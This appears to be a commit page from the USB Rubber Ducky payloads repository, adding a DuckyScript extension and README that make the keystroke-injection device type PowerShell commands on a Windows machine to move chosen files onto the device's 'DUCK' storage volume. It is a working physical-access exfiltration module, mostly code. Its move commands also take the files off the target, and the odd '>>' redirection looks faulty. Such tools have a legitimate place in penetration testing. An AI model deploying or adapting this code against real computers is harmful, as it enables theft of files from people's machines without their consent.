Extension: SAVE FILES IN RUBBER DUCKY STORAGE
Creation of the extension "SAVE FILES IN RUBBER DUCKY STORAGE" based on the old proposal "Send Files Through Dropbox - Windows"[1] [1] https://github.com/hak5/usbrubberducky-payloads/pull/399pull/427/head
parent
8ee67a811b
commit
7652db1704
|
@ -0,0 +1,99 @@
|
||||||
|
# Save Files In Rubber Ducky Storage - Windows
|
||||||
|
|
||||||
|
This extension can be used to save one or more files through the USB Rubber Ducky storage without having to copy and paste reused code every time, but standardizing a methodology that avoids errors.
|
||||||
|
|
||||||
|
```
|
||||||
|
How many files do you want to save?
|
||||||
|
|
|
||||||
|
|-- Single File
|
||||||
|
| |
|
||||||
|
| |-- Do you already know the full file path? (e.g., C:\Users\Aleff\Downloads\photo.png)
|
||||||
|
| | |
|
||||||
|
| | |-- Use the SINGLE-FILE version
|
||||||
|
| | | |
|
||||||
|
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
|
||||||
|
| | | |-- Define the file path in #SINGLE-PATH
|
||||||
|
| | |
|
||||||
|
| |-- Don't know the full path but can obtain it at runtime through PowerShell?
|
||||||
|
| | |
|
||||||
|
| | |-- Use the $fileToSavePath variable
|
||||||
|
| | | |
|
||||||
|
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
|
||||||
|
| | | |-- Obtain the file path through PowerShell and assign it to $fileToSavePath
|
||||||
|
|
|
||||||
|
|-- Multiple Files
|
||||||
|
| |
|
||||||
|
| |-- Set the #FLAG-SINGLE-FILE variable to FALSE
|
||||||
|
| | |
|
||||||
|
| | |-- Use an array of strings named $fileToSavePaths to collect the paths of all the files you want to use
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Target Environment
|
||||||
|
|
||||||
|
- **Target**: Windows PowerShell
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
Insert this extension when you have one or more files that you want to save via USB Rubber Ducky storage.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
Before using the extension, you need to configure it by setting certain variables in the DuckyScript payload. Here are the configuration options:
|
||||||
|
|
||||||
|
### 2. Single File or Multiple Files
|
||||||
|
|
||||||
|
You can choose to send a single file or multiple files. Configure the extension accordingly.
|
||||||
|
|
||||||
|
#### Single File Configuration
|
||||||
|
|
||||||
|
- **Variable**: #FLAG-SINGLE-FILE
|
||||||
|
- **Type**: Boolean (TRUE or FALSE)
|
||||||
|
- **Description**: Set #FLAG-SINGLE-FILE to TRUE if you want to save just one file. In this case, you will need to specify the file path within the #SINGLE-PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $fileToSavePath variable.
|
||||||
|
|
||||||
|
Example in DuckyScript:
|
||||||
|
```DuckyScript
|
||||||
|
DEFINE #FLAG-SINGLE-FILE TRUE
|
||||||
|
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
|
||||||
|
```
|
||||||
|
|
||||||
|
Example in PowerShell before using the extension:
|
||||||
|
```powershell
|
||||||
|
$fileToSavePath = "C:\Users\Aleff\Downloads\photo.png"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Multiple Files Configuration
|
||||||
|
|
||||||
|
- **Variable**: #FLAG-SINGLE-FILE
|
||||||
|
- **Type**: Boolean (TRUE or FALSE)
|
||||||
|
- **Description**: Set #FLAG-SINGLE-FILE to FALSE if you want to save multiple files. In this case, in PowerShell, you will have to create the variable $fileToSavePaths, which is an array of strings containing the list of paths related to the files you want to export.
|
||||||
|
|
||||||
|
Example in PowerShell before using the extension:
|
||||||
|
```powershell
|
||||||
|
$fileToSavePaths = @(
|
||||||
|
"C:\Users\Aleff\Downloads\photo.png",
|
||||||
|
"C:\Users\Aleff\Downloads\document.pdf",
|
||||||
|
"C:\Users\Aleff\Downloads\song.mp3"
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
**Tips for Working with Arrays in PowerShell:**
|
||||||
|
|
||||||
|
- How to create an array:
|
||||||
|
```powershell
|
||||||
|
$fileToSavePaths = @()
|
||||||
|
```
|
||||||
|
|
||||||
|
- How to add an element to the array:
|
||||||
|
```powershell
|
||||||
|
$fileToSavePaths += "C:\Users\Aleff\Downloads\photo.png"
|
||||||
|
```
|
||||||
|
|
||||||
|
- How to view the array:
|
||||||
|
```powershell
|
||||||
|
$fileToSavePaths
|
||||||
|
```
|
||||||
|
|
||||||
|
That's it! You can now use this extension with the appropriate configuration to save files via the USB Rubber Ducky storage using the same USB Rubber Ducky.
|
||||||
|
|
|
@ -0,0 +1,82 @@
|
||||||
|
EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows
|
||||||
|
REM VERSION 1.0
|
||||||
|
REM AUTHOR: Aleff
|
||||||
|
|
||||||
|
REM_BLOCK Documentation
|
||||||
|
This extension is used to save one or more files through the USB Rubber Ducky storage.
|
||||||
|
|
||||||
|
TARGET:
|
||||||
|
Windows 10/11
|
||||||
|
|
||||||
|
USAGE:
|
||||||
|
Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky.
|
||||||
|
|
||||||
|
|
||||||
|
CONFIGURATION:
|
||||||
|
Set #FLAG-SINGLE-FILE with TRUE if you want to save just one file.
|
||||||
|
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path.
|
||||||
|
i.e. in DuckyScript EXTENSION
|
||||||
|
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
|
||||||
|
i.e. in PowerShell before extension
|
||||||
|
$fileToSavePath = "C:\Users\Aleff\Downloads\photo.png"
|
||||||
|
|
||||||
|
Set #FLAG-SINGLE-FILE FALSE if you want to send multiple files.
|
||||||
|
In this case in the PowerShell you will have to create the variable $fileToSavePaths, which is an array of strings that should contain the list of paths related to the files you want to save.
|
||||||
|
i.e. in PowerShell before extension:
|
||||||
|
$fileToSavePaths = @(
|
||||||
|
"C:\Users\Aleff\Downloads\photo.png",
|
||||||
|
"C:\Users\Aleff\Downloads\document.pdf",
|
||||||
|
"C:\Users\Aleff\Downloads\song.mp3"
|
||||||
|
)
|
||||||
|
Some tips:
|
||||||
|
How to create an Array?
|
||||||
|
> $fileToSavePaths = @()
|
||||||
|
How to add an element?
|
||||||
|
> $fileToSavePaths += "C:\Users\Aleff\Downloads\photo.png"
|
||||||
|
How to see the array?
|
||||||
|
> $fileToSavePaths
|
||||||
|
|
||||||
|
|
||||||
|
END_REM
|
||||||
|
|
||||||
|
|
||||||
|
REM Settings
|
||||||
|
DEFINE #FLAG-SINGLE-FILE FALSE
|
||||||
|
DEFINE #SINGLE-PATH 0
|
||||||
|
|
||||||
|
REM Extension Code
|
||||||
|
FUNCTION SAVE-SINGLE-FILE()
|
||||||
|
|
||||||
|
IF ( #SINGLE-PATH != 0 ) THEN
|
||||||
|
|
||||||
|
STRINGLN mv #SINGLE-PATH >> ${m}:\
|
||||||
|
|
||||||
|
ELSE IF ( #SINGLE-PATH == 0 ) THEN
|
||||||
|
|
||||||
|
STRINGLN mv ${fileToSavePath} >> ${m}:\
|
||||||
|
|
||||||
|
END_IF
|
||||||
|
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
FUNCTION SAVE-MULTIPLE-FILES()
|
||||||
|
|
||||||
|
STRINGLN
|
||||||
|
foreach ($fileToSavePath in $fileToSavePaths) {
|
||||||
|
mv ${fileToSavePath} >> ${m}:\
|
||||||
|
}
|
||||||
|
END_STRINGLN
|
||||||
|
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
STRINGLN $m=(Get-Volume -FileSystemLabel 'DUCK').DriveLetter;
|
||||||
|
|
||||||
|
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
|
||||||
|
SAVE-SINGLE-FILE()
|
||||||
|
END_IF_DEFINED
|
||||||
|
|
||||||
|
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
|
||||||
|
SAVE-MULTIPLE-FILES()
|
||||||
|
END_IF_DEFINED
|
||||||
|
|
||||||
|
END_EXTENSION
|
Loading…
Reference in New Issue